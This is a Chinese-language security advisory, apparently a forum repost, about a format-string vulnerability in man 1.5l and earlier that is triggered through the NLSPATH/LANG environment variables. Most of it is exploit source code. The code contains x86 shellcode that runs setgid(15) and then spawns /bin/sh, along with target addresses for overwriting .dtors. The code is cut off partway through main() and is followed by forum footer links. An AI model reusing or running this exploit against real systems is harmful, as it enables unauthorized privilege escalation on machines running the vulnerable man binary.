man 1.5l版及其之前的版本
描述:
man 存在格式串缺陷
详细:
man是一款能查看多种系统的帮助手册的工具软件。
man存在格式串执行缺陷。当程序使用NLSPATH/LANG环境变量提供的可选目录文件时,由于程序对NLSPATH/LANG环境变量缺乏正确的边界检测,攻击者通过向目标机器提供精心构造的包含字符串的环境变量,将触发该缺陷,能允许攻击者破坏内存信息。缺陷存在于gripes.c:89:vfprintf(stderr,getmsg(n),p);函数中,getmsg()函数用于返回来自catalog的数据。
攻击方法:
示例代码:
#include <stdio.h>;
#include <stdlib.h>;
#include <string.h>;
#include <unistd.h>;
#include <sys/stat.h>;
#include <sys/types.h>;
#include <pwd.h>;
#define PATH "/usr/bin/man" /* man binary. */
#define NOP_AMT 4096 /* number of NOPs. */
#define LANG_NAME "xx" /* "en", "fr", ... */
static char x86_exec[]= /* with setgid(15); */
"\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3"
"\x0f\xcd\x80\x89\x76\x08\x31\xc0\x88\x46"
"\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"
"\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68\x01";
struct platform {
unsigned short align;
unsigned int pops;
unsigned long dtors_addr;
unsigned long ret_addr;
char *exec;
};
struct platform target[2] =
{
{
/* alignment. */
0,
/* pops, example provided below. */
88,
/* objdump -sj.dtors /usr/bin/man */
(0x805122c+4),
/* generalized number, room to work. */
0xbffffe01,
/* shellcode, with setgid(15) */
x86_exec
},
{ 0, 0, 0, 0, NULL }
};
char *setfmt(unsigned int);
char *setfmtmem(unsigned int);
char *setlang(unsigned int);
void printe(char *);
int main(int argc,char **argv){
extern char **environ;
if(argc<2){
printf("(*)man[v1.5l]: format string exploit.\n"
"(*)by: v9@fakehalo.deadpig.org / fakehalo.\n\n"
"syntax: %s <platform>;\n"
" 0 : Compiled RH/linux 2.4.2-2.\n",argv[0]);
exit(1);
| 论坛热门帖子: | [lch203] 写得蛮好的linux学习笔记(10-21) [黑马制造] 学习java的30个目标(10-19) [笑傲股林] 做测试半年了,有点迷茫,应该再学些什么提高自己的测试水平和测试能力呢?(10-19) [udp8589] 大家用google的来吱一声? 用百度的~~也来报道下?(10-18) [沂偌掳兆] 本人总结的一些认为C++比较经典的书籍,希望对大家有用(10-18) |
| TAG标签: | 漏洞 格式 转载 char if buf taddr printe langfile strlen |
注册
个人空间
